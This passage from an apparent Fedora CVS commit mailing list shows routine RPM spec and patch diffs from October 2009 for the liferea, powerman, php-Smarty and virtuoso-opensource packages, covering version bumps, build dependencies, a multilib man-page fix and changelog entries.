 Summary:        An RSS/RDF feed reader
 
 Group:          Applications/Internet
@@ -19,7 +19,11 @@ BuildRequires:  webkitgtk-devel 
 BuildRequires:  intltool
 BuildRequires:  libglade2-devel
 BuildRequires:  desktop-file-utils
-
+BuildRequires:  libnotify-devel
+BuildRequires:  lua-devel
+BuildRequires:  libSM-devel
+BuildRequires:  dbus-devel
+BuildRequires:  NetworkManager-glib-devel
 
 Requires: 	sqlite
 
@@ -97,6 +101,7 @@ fi
 %{_bindir}/%{name}
 %{_bindir}/%{name}-add-feed
 %{_datadir}/%{name}/
+%{_libdir}/liferea/*
 %{_datadir}/icons/hicolor/16x16/apps/%{name}.png
 %{_datadir}/icons/hicolor/22x22/apps/%{name}.png
 %{_datadir}/icons/hicolor/24x24/apps/%{name}.png
@@ -107,6 +112,9 @@ fi
 %dir %{_libdir}/%{name}
 
 %changelog
+* Sat Oct 10 2009 Steven M. Parrish <smparrish at gmail.com> - 1.6.0-1
+- Add additional functionality #527873
+
 * Wed Aug 12 2009 Steven M. Parrish <smparrish at gmail.com> - 1.6.0-0
 - Final 1.6.0 release
 



From tuxbrewr at fedoraproject.org  Sun Oct 11 18:18:59 2009
From: tuxbrewr at fedoraproject.org (Steven M. Parrish)
Date: Sun, 11 Oct 2009 18:18:59 +0000 (UTC)
Subject: rpms/liferea/F-11 .cvsignore, 1.84, 1.85 liferea.spec, 1.138,
	1.139 sources, 1.85, 1.86
Message-ID: <20091011181859.CFB6811C00EC@cvs1.fedora.phx.redhat.com>

Author: tuxbrewr

Update of /cvs/pkgs/rpms/liferea/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21745

Modified Files:
	.cvsignore liferea.spec sources 
Log Message:
Added additional functionality #527873


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/liferea/F-11/.cvsignore,v
retrieving revision 1.84
retrieving revision 1.85
diff -u -p -r1.84 -r1.85
--- .cvsignore	23 Jul 2009 19:36:01 -0000	1.84
+++ .cvsignore	11 Oct 2009 18:18:59 -0000	1.85
@@ -1 +1 @@
-liferea-1.6.0-rc7.tar.gz
+liferea-1.6.0.tar.gz


Index: liferea.spec
===================================================================
RCS file: /cvs/pkgs/rpms/liferea/F-11/liferea.spec,v
retrieving revision 1.138
retrieving revision 1.139
diff -u -p -r1.138 -r1.139
--- liferea.spec	23 Jul 2009 19:36:01 -0000	1.138
+++ liferea.spec	11 Oct 2009 18:18:59 -0000	1.139
@@ -1,14 +1,15 @@
 Name:           liferea
 Version:        1.6.0
-Release:        0.4.rc7%{?dist}
+Release:        1%{?dist}
 Summary:        An RSS/RDF feed reader
 
 Group:          Applications/Internet
 License:        GPLv2+
 URL:            http://liferea.sourceforge.net/
-Source0:        http://download.sourceforge.net/%{name}/%{name}-%{version}-rc7.tar.gz
+Source0:        http://download.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
 Patch0:	        %{name}-fedorafeed.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Epoch: 1
 
 BuildRequires:  GConf2-devel
 BuildRequires:  libxml2-devel	
@@ -18,7 +19,11 @@ BuildRequires:  webkitgtk-devel 
 BuildRequires:  intltool
 BuildRequires:  libglade2-devel
 BuildRequires:  desktop-file-utils
-
+BuildRequires:  libnotify-devel
+BuildRequires:  lua-devel
+BuildRequires:  libSM-devel
+BuildRequires:  dbus-devel
+BuildRequires:  NetworkManager-glib-devel
 
 Requires: 	sqlite
 
@@ -35,7 +40,7 @@ It can be used to maintain a list of sub
 browse through their items, and show their contents.
 
 %prep
-%setup -q -n %{name}-%{version}-rc7
+%setup -q -n %{name}-%{version}
 %patch0 -p1 -b .fedorafeed
 
 %build
@@ -96,6 +101,7 @@ fi
 %{_bindir}/%{name}
 %{_bindir}/%{name}-add-feed
 %{_datadir}/%{name}/
+%{_libdir}/liferea/*
 %{_datadir}/icons/hicolor/16x16/apps/%{name}.png
 %{_datadir}/icons/hicolor/22x22/apps/%{name}.png
 %{_datadir}/icons/hicolor/24x24/apps/%{name}.png
@@ -106,6 +112,12 @@ fi
 %dir %{_libdir}/%{name}
 
 %changelog
+* Sat Oct 10 2009 Steven M. Parrish <smparrish at gmail.com> - 1.6.0-1
+- Add additional functionality #527873
+
+* Wed Aug 12 2009 Steven M. Parrish <smparrish at gmail.com> - 1.6.0-0
+- Final 1.6.0 release
+
 * Thu Jul 23 2009 Steven M. Parrish <smparrish at gmail.com> 1.6.0-0.4.rc7
 - Open the "Decrease/Increase Text Size" menu instead of the
 - normal link menu on JavaScript links.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/liferea/F-11/sources,v
retrieving revision 1.85
retrieving revision 1.86
diff -u -p -r1.85 -r1.86
--- sources	23 Jul 2009 19:36:01 -0000	1.85
+++ sources	11 Oct 2009 18:18:59 -0000	1.86
@@ -1 +1 @@
-8b283144b77d872dce53e402ef8a4cf6  liferea-1.6.0-rc7.tar.gz
+7c532101d3c9cfd71b76d3a8a82622fa  liferea-1.6.0.tar.gz



From tuxbrewr at fedoraproject.org  Sun Oct 11 18:42:00 2009
From: tuxbrewr at fedoraproject.org (Steven M. Parrish)
Date: Sun, 11 Oct 2009 18:42:00 +0000 (UTC)
Subject: rpms/powerman/F-11 powerman-multilib.patch, NONE, 1.1 powerman.spec,
	1.22, 1.23
Message-ID: <20091011184201.0763311C00EC@cvs1.fedora.phx.redhat.com>

Author: tuxbrewr

Update of /cvs/pkgs/rpms/powerman/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29476

Modified Files:
	powerman.spec 
Added Files:
	powerman-multilib.patch 
Log Message:
Fix multilib issue #509691

powerman-multilib.patch:
 libpowerman.3.in |    4 !!!!
 1 file changed, 4 modifications(!)

--- NEW FILE powerman-multilib.patch ---
diff -crB powerman-2.3.5/man/libpowerman.3.in powerman-2.3.5-fedora/man/libpowerman.3.in
*** powerman-2.3.5/man/libpowerman.3.in	2008-12-21 18:34:07.000000000 -0500
--- powerman-2.3.5-fedora/man/libpowerman.3.in	2009-10-10 20:26:04.000000000 -0400
***************
*** 185,191 ****
  .fi
  
  .SH "FILES"
! @X_LIBDIR@/libpowerman.*
  .br
  @X_INCLUDEDIR@/libpowerman.h
  
--- 185,193 ----
  .fi
  
  .SH "FILES"
! /usr/lib/libpowerman.*
! .br
! /usr/lib64/libpowerman.*
  .br
  @X_INCLUDEDIR@/libpowerman.h
  


Index: powerman.spec
===================================================================
RCS file: /cvs/pkgs/rpms/powerman/F-11/powerman.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- powerman.spec	26 Aug 2009 14:38:43 -0000	1.22
+++ powerman.spec	11 Oct 2009 18:41:58 -0000	1.23
@@ -1,6 +1,6 @@
 Name: powerman
 Version: 2.3.5
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: PowerMan - Power to the Cluster
 
 Group: Applications/System
@@ -8,6 +8,8 @@ License: GPLv2+
 Url: http://sourceforge.net/projects/powerman
 Source0: http://dl.sourceforge.net/sourceforge/%{name}/%{name}-%{version}.tar.bz2
 Patch0: powerman.init.patch
+Patch1: powerman-multilib.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: flex bison readline-devel
@@ -33,6 +35,7 @@ Development files for Powerman
 %setup -q -n %{name}-%{version}
 
 %patch0 -p1 -b .initpatch
+%patch1 -p1 -b .multilibpatch
 
 %build
 
@@ -105,6 +108,9 @@ fi
 %{_libdir}/stonith/plugins/external/powerman
 
 %changelog
+* Sat Oct 10 2009 Steven M. Parrish <smparrish at gmail.com> - 2.3.5-2
+- fix multilib issue
+
 * Wed Aug 26 2009 Steven Parrish <smparrish at gmail.com> - 2.3.5-1
 - Deprecated undocumented powerman.conf port directive.
 - Added powerman.conf listen directive to configure which interfaces



From xulchris at fedoraproject.org  Sun Oct 11 18:59:55 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 18:59:55 +0000 (UTC)
Subject: rpms/php-Smarty/EL-5 .cvsignore, 1.8, 1.9 php-Smarty.spec, 1.12,
	1.13 sources, 1.8, 1.9
Message-ID: <20091011185955.2B0A711C00EC@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/php-Smarty/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5245/EL-5

Modified Files:
	.cvsignore php-Smarty.spec sources 
Log Message:
upstream sync


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-Smarty/EL-5/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	25 May 2009 20:09:27 -0000	1.8
+++ .cvsignore	11 Oct 2009 18:59:54 -0000	1.9
@@ -1 +1 @@
-Smarty-2.6.25.tar.gz
+Smarty-2.6.26.tar.gz


Index: php-Smarty.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-Smarty/EL-5/php-Smarty.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- php-Smarty.spec	25 May 2009 20:09:27 -0000	1.12
+++ php-Smarty.spec	11 Oct 2009 18:59:54 -0000	1.13
@@ -1,11 +1,11 @@
 Name:           php-Smarty
 Summary:        Template/Presentation Framework for PHP
-Version:        2.6.25
+Version:        2.6.26
 Release:        1%{?dist}
 
-Source0:        http://smarty.php.net/distributions/Smarty-%{version}.tar.gz
+Source0:        http://www.smarty.net/distributions/Smarty-%{version}.tar.gz
+URL:            http://www.smarty.net
 License:        LGPLv2+
-URL:            http://smarty.php.net
 Group:          Development/Libraries
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -58,6 +58,13 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 2.6.26-1
+- Upstream sync
+- Update %%source0 and %%URL
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.6.25-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon May 25 2009 Christopher Stone <chris.stone at gmail.com> 2.6.25-1
 - Upstream sync
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-Smarty/EL-5/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	25 May 2009 20:09:27 -0000	1.8
+++ sources	11 Oct 2009 18:59:54 -0000	1.9
@@ -1 +1 @@
-cf54f69217075fc6f94ca15c35d63de4  Smarty-2.6.25.tar.gz
+e0da351443b8613e1013c481ab30cb84  Smarty-2.6.26.tar.gz



From xulchris at fedoraproject.org  Sun Oct 11 18:59:56 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 18:59:56 +0000 (UTC)
Subject: rpms/php-Smarty/devel .cvsignore, 1.8, 1.9 php-Smarty.spec, 1.12,
	1.13 sources, 1.8, 1.9
Message-ID: <20091011185956.69CE511C00EC@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/php-Smarty/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5245/devel

Modified Files:
	.cvsignore php-Smarty.spec sources 
Log Message:
upstream sync


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-Smarty/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	25 May 2009 20:09:29 -0000	1.8
+++ .cvsignore	11 Oct 2009 18:59:56 -0000	1.9
@@ -1 +1 @@
-Smarty-2.6.25.tar.gz
+Smarty-2.6.26.tar.gz


Index: php-Smarty.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-Smarty/devel/php-Smarty.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- php-Smarty.spec	26 Jul 2009 17:57:48 -0000	1.12
+++ php-Smarty.spec	11 Oct 2009 18:59:56 -0000	1.13
@@ -1,11 +1,11 @@
 Name:           php-Smarty
 Summary:        Template/Presentation Framework for PHP
-Version:        2.6.25
-Release:        2%{?dist}
+Version:        2.6.26
+Release:        1%{?dist}
 
-Source0:        http://smarty.php.net/distributions/Smarty-%{version}.tar.gz
+Source0:        http://www.smarty.net/distributions/Smarty-%{version}.tar.gz
+URL:            http://www.smarty.net
 License:        LGPLv2+
-URL:            http://smarty.php.net
 Group:          Development/Libraries
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -58,6 +58,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 2.6.26-1
+- Upstream sync
+- Update %%source0 and %%URL
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.6.25-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-Smarty/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	25 May 2009 20:09:29 -0000	1.8
+++ sources	11 Oct 2009 18:59:56 -0000	1.9
@@ -1 +1 @@
-cf54f69217075fc6f94ca15c35d63de4  Smarty-2.6.25.tar.gz
+e0da351443b8613e1013c481ab30cb84  Smarty-2.6.26.tar.gz



From xulchris at fedoraproject.org  Sun Oct 11 18:59:55 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 18:59:55 +0000 (UTC)
Subject: rpms/php-Smarty/F-11 .cvsignore, 1.8, 1.9 php-Smarty.spec, 1.11,
	1.12 sources, 1.8, 1.9
Message-ID: <20091011185955.DE2E111C00EC@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/php-Smarty/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5245/F-11

Modified Files:
	.cvsignore php-Smarty.spec sources 
Log Message:
upstream sync


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-Smarty/F-11/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	25 May 2009 20:09:28 -0000	1.8
+++ .cvsignore	11 Oct 2009 18:59:55 -0000	1.9
@@ -1 +1 @@
-Smarty-2.6.25.tar.gz
+Smarty-2.6.26.tar.gz


Index: php-Smarty.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-Smarty/F-11/php-Smarty.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- php-Smarty.spec	25 May 2009 20:09:28 -0000	1.11
+++ php-Smarty.spec	11 Oct 2009 18:59:55 -0000	1.12
@@ -1,11 +1,11 @@
 Name:           php-Smarty
 Summary:        Template/Presentation Framework for PHP
-Version:        2.6.25
+Version:        2.6.26
 Release:        1%{?dist}
 
-Source0:        http://smarty.php.net/distributions/Smarty-%{version}.tar.gz
+Source0:        http://www.smarty.net/distributions/Smarty-%{version}.tar.gz
+URL:            http://www.smarty.net
 License:        LGPLv2+
-URL:            http://smarty.php.net
 Group:          Development/Libraries
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -58,6 +58,13 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 2.6.26-1
+- Upstream sync
+- Update %%source0 and %%URL
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.6.25-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon May 25 2009 Christopher Stone <chris.stone at gmail.com> 2.6.25-1
 - Upstream sync
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-Smarty/F-11/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	25 May 2009 20:09:28 -0000	1.8
+++ sources	11 Oct 2009 18:59:55 -0000	1.9
@@ -1 +1 @@
-cf54f69217075fc6f94ca15c35d63de4  Smarty-2.6.25.tar.gz
+e0da351443b8613e1013c481ab30cb84  Smarty-2.6.26.tar.gz



From xulchris at fedoraproject.org  Sun Oct 11 18:59:55 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 18:59:55 +0000 (UTC)
Subject: rpms/php-Smarty/F-10 .cvsignore, 1.8, 1.9 php-Smarty.spec, 1.10,
	1.11 sources, 1.8, 1.9
Message-ID: <20091011185955.822DA11C00EC@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/php-Smarty/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5245/F-10

Modified Files:
	.cvsignore php-Smarty.spec sources 
Log Message:
upstream sync


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-Smarty/F-10/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	25 May 2009 20:09:27 -0000	1.8
+++ .cvsignore	11 Oct 2009 18:59:55 -0000	1.9
@@ -1 +1 @@
-Smarty-2.6.25.tar.gz
+Smarty-2.6.26.tar.gz


Index: php-Smarty.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-Smarty/F-10/php-Smarty.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- php-Smarty.spec	25 May 2009 20:09:28 -0000	1.10
+++ php-Smarty.spec	11 Oct 2009 18:59:55 -0000	1.11
@@ -1,11 +1,11 @@
 Name:           php-Smarty
 Summary:        Template/Presentation Framework for PHP
-Version:        2.6.25
+Version:        2.6.26
 Release:        1%{?dist}
 
-Source0:        http://smarty.php.net/distributions/Smarty-%{version}.tar.gz
+Source0:        http://www.smarty.net/distributions/Smarty-%{version}.tar.gz
+URL:            http://www.smarty.net
 License:        LGPLv2+
-URL:            http://smarty.php.net
 Group:          Development/Libraries
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -58,6 +58,13 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 2.6.26-1
+- Upstream sync
+- Update %%source0 and %%URL
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.6.25-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon May 25 2009 Christopher Stone <chris.stone at gmail.com> 2.6.25-1
 - Upstream sync
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-Smarty/F-10/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	25 May 2009 20:09:28 -0000	1.8
+++ sources	11 Oct 2009 18:59:55 -0000	1.9
@@ -1 +1 @@
-cf54f69217075fc6f94ca15c35d63de4  Smarty-2.6.25.tar.gz
+e0da351443b8613e1013c481ab30cb84  Smarty-2.6.26.tar.gz



From xulchris at fedoraproject.org  Sun Oct 11 18:59:56 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 18:59:56 +0000 (UTC)
Subject: rpms/php-Smarty/F-12 .cvsignore, 1.8, 1.9 php-Smarty.spec, 1.12,
	1.13 sources, 1.8, 1.9
Message-ID: <20091011185956.241BA11C00EC@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/php-Smarty/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5245/F-12

Modified Files:
	.cvsignore php-Smarty.spec sources 
Log Message:
upstream sync


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-Smarty/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	25 May 2009 20:09:29 -0000	1.8
+++ .cvsignore	11 Oct 2009 18:59:55 -0000	1.9
@@ -1 +1 @@
-Smarty-2.6.25.tar.gz
+Smarty-2.6.26.tar.gz


Index: php-Smarty.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-Smarty/F-12/php-Smarty.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- php-Smarty.spec	26 Jul 2009 17:57:48 -0000	1.12
+++ php-Smarty.spec	11 Oct 2009 18:59:55 -0000	1.13
@@ -1,11 +1,11 @@
 Name:           php-Smarty
 Summary:        Template/Presentation Framework for PHP
-Version:        2.6.25
-Release:        2%{?dist}
+Version:        2.6.26
+Release:        1%{?dist}
 
-Source0:        http://smarty.php.net/distributions/Smarty-%{version}.tar.gz
+Source0:        http://www.smarty.net/distributions/Smarty-%{version}.tar.gz
+URL:            http://www.smarty.net
 License:        LGPLv2+
-URL:            http://smarty.php.net
 Group:          Development/Libraries
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -58,6 +58,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 2.6.26-1
+- Upstream sync
+- Update %%source0 and %%URL
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.6.25-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-Smarty/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	25 May 2009 20:09:29 -0000	1.8
+++ sources	11 Oct 2009 18:59:56 -0000	1.9
@@ -1 +1 @@
-cf54f69217075fc6f94ca15c35d63de4  Smarty-2.6.25.tar.gz
+e0da351443b8613e1013c481ab30cb84  Smarty-2.6.26.tar.gz



From tuxbrewr at fedoraproject.org  Sun Oct 11 19:00:24 2009
From: tuxbrewr at fedoraproject.org (Steven M. Parrish)
Date: Sun, 11 Oct 2009 19:00:24 +0000 (UTC)
Subject: rpms/powerman/F-12 powerman-multilib.patch, NONE, 1.1 powerman.spec,
	1.23, 1.24
Message-ID: <20091011190024.9E3BE11C02A1@cvs1.fedora.phx.redhat.com>

Author: tuxbrewr

Update of /cvs/pkgs/rpms/powerman/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5457

Modified Files:
	powerman.spec 
Added Files:
	powerman-multilib.patch 
Log Message:
Fix multilib issue #509691

powerman-multilib.patch:
 libpowerman.3.in |    4 !!!!
 1 file changed, 4 modifications(!)

--- NEW FILE powerman-multilib.patch ---
diff -crB powerman-2.3.5/man/libpowerman.3.in powerman-2.3.5-fedora/man/libpowerman.3.in
*** powerman-2.3.5/man/libpowerman.3.in	2008-12-21 18:34:07.000000000 -0500
--- powerman-2.3.5-fedora/man/libpowerman.3.in	2009-10-10 20:26:04.000000000 -0400
***************
*** 185,191 ****
  .fi
  
  .SH "FILES"
! @X_LIBDIR@/libpowerman.*
  .br
  @X_INCLUDEDIR@/libpowerman.h
  
--- 185,193 ----
  .fi
  
  .SH "FILES"
! /usr/lib/libpowerman.*
! .br
! /usr/lib64/libpowerman.*
  .br
  @X_INCLUDEDIR@/libpowerman.h
  


Index: powerman.spec
===================================================================
RCS file: /cvs/pkgs/rpms/powerman/F-12/powerman.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- powerman.spec	26 Aug 2009 14:24:18 -0000	1.23
+++ powerman.spec	11 Oct 2009 19:00:24 -0000	1.24
@@ -1,6 +1,6 @@
 Name: powerman
 Version: 2.3.5
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: PowerMan - Power to the Cluster
 
 Group: Applications/System
@@ -8,6 +8,7 @@ License: GPLv2+
 Url: http://sourceforge.net/projects/powerman
 Source0: http://dl.sourceforge.net/sourceforge/%{name}/%{name}-%{version}.tar.bz2
 Patch0: powerman.init.patch
+Patch1: powerman-multilib.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: flex bison readline-devel
@@ -33,6 +34,7 @@ Development files for Powerman
 %setup -q -n %{name}-%{version}
 
 %patch0 -p1 -b .initpatch
+%patch1 -p1 -b .multilibpatch
 
 %build
 
@@ -105,6 +107,9 @@ fi
 %{_libdir}/stonith/plugins/external/powerman
 
 %changelog
+* Sat Oct 10 2009 Steven M. Parrish <smparrish at gmail.com> - 2.3.5-2
+- Fix multilib issue #509691
+
 * Wed Aug 26 2009 Steven Parrish <smparrish at gmail.com> - 2.3.5-1
 - Deprecated undocumented powerman.conf port directive.
 - Added powerman.conf listen directive to configure which interfaces



From tuxbrewr at fedoraproject.org  Sun Oct 11 19:11:55 2009
From: tuxbrewr at fedoraproject.org (Steven M. Parrish)
Date: Sun, 11 Oct 2009 19:11:55 +0000 (UTC)
Subject: rpms/powerman/devel powerman-multilib.patch, NONE, 1.1 powerman.spec,
	1.23, 1.24
Message-ID: <20091011191155.0D32711C00EC@cvs1.fedora.phx.redhat.com>

Author: tuxbrewr

Update of /cvs/pkgs/rpms/powerman/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10346

Modified Files:
	powerman.spec 
Added Files:
	powerman-multilib.patch 
Log Message:
Fix multilib issue #509691

powerman-multilib.patch:
 libpowerman.3.in |    4 !!!!
 1 file changed, 4 modifications(!)

--- NEW FILE powerman-multilib.patch ---
diff -crB powerman-2.3.5/man/libpowerman.3.in powerman-2.3.5-fedora/man/libpowerman.3.in
*** powerman-2.3.5/man/libpowerman.3.in	2008-12-21 18:34:07.000000000 -0500
--- powerman-2.3.5-fedora/man/libpowerman.3.in	2009-10-10 20:26:04.000000000 -0400
***************
*** 185,191 ****
  .fi
  
  .SH "FILES"
! @X_LIBDIR@/libpowerman.*
  .br
  @X_INCLUDEDIR@/libpowerman.h
  
--- 185,193 ----
  .fi
  
  .SH "FILES"
! /usr/lib/libpowerman.*
! .br
! /usr/lib64/libpowerman.*
  .br
  @X_INCLUDEDIR@/libpowerman.h
  


Index: powerman.spec
===================================================================
RCS file: /cvs/pkgs/rpms/powerman/devel/powerman.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- powerman.spec	26 Aug 2009 14:24:18 -0000	1.23
+++ powerman.spec	11 Oct 2009 19:11:54 -0000	1.24
@@ -1,6 +1,6 @@
 Name: powerman
 Version: 2.3.5
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: PowerMan - Power to the Cluster
 
 Group: Applications/System
@@ -8,6 +8,7 @@ License: GPLv2+
 Url: http://sourceforge.net/projects/powerman
 Source0: http://dl.sourceforge.net/sourceforge/%{name}/%{name}-%{version}.tar.bz2
 Patch0: powerman.init.patch
+Patch1: powerman-multilib.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: flex bison readline-devel
@@ -33,6 +34,7 @@ Development files for Powerman
 %setup -q -n %{name}-%{version}
 
 %patch0 -p1 -b .initpatch
+%patch1 -p1 -b .multilibpatch
 
 %build
 
@@ -105,6 +107,9 @@ fi
 %{_libdir}/stonith/plugins/external/powerman
 
 %changelog
+* Sat Oct 10 2009 Steven M. Parrish <smparrish at gmail.com> - 2.3.5-2
+- Fix multilib issue #509691
+
 * Wed Aug 26 2009 Steven Parrish <smparrish at gmail.com> - 2.3.5-1
 - Deprecated undocumented powerman.conf port directive.
 - Added powerman.conf listen directive to configure which interfaces



From rdieter at fedoraproject.org  Sun Oct 11 19:54:44 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun, 11 Oct 2009 19:54:44 +0000 (UTC)
Subject: rpms/virtuoso-opensource/devel .cvsignore, 1.2, 1.3 sources, 1.2,
	1.3 virtuoso-opensource.spec, 1.3, 1.4
Message-ID: <20091011195444.C985F11C00EC@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/virtuoso-opensource/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26222

Modified Files:
	.cvsignore sources virtuoso-opensource.spec 
Log Message:
* Sun Oct 11 2009 Rex Dieter <rdieter at fedoraproject.rog> 5.0.12-0.1.rc9.20090916
- virtuoso-opensource-20090916 (5.0.12-rc9)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/virtuoso-opensource/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	26 Jul 2009 20:40:58 -0000	1.2
+++ .cvsignore	11 Oct 2009 19:54:44 -0000	1.3
@@ -1 +1 @@
-virtuoso-opensource-5.0.11.tar.gz
+virtuoso-opensource-20090916.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/virtuoso-opensource/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	26 Jul 2009 20:40:58 -0000	1.2
+++ sources	11 Oct 2009 19:54:44 -0000	1.3
@@ -1 +1 @@
-9d5507b2a8d244c62f32f1203f10b9d1  virtuoso-opensource-5.0.11.tar.gz
+718ce53e6b19e25aab8db4a2564fb17a  virtuoso-opensource-20090916.tar.gz


Index: virtuoso-opensource.spec
===================================================================
RCS file: /cvs/pkgs/rpms/virtuoso-opensource/devel/virtuoso-opensource.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
